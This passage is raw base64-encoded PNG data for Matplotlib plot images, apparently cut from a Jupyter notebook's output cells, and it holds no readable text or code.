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", + "image/png": "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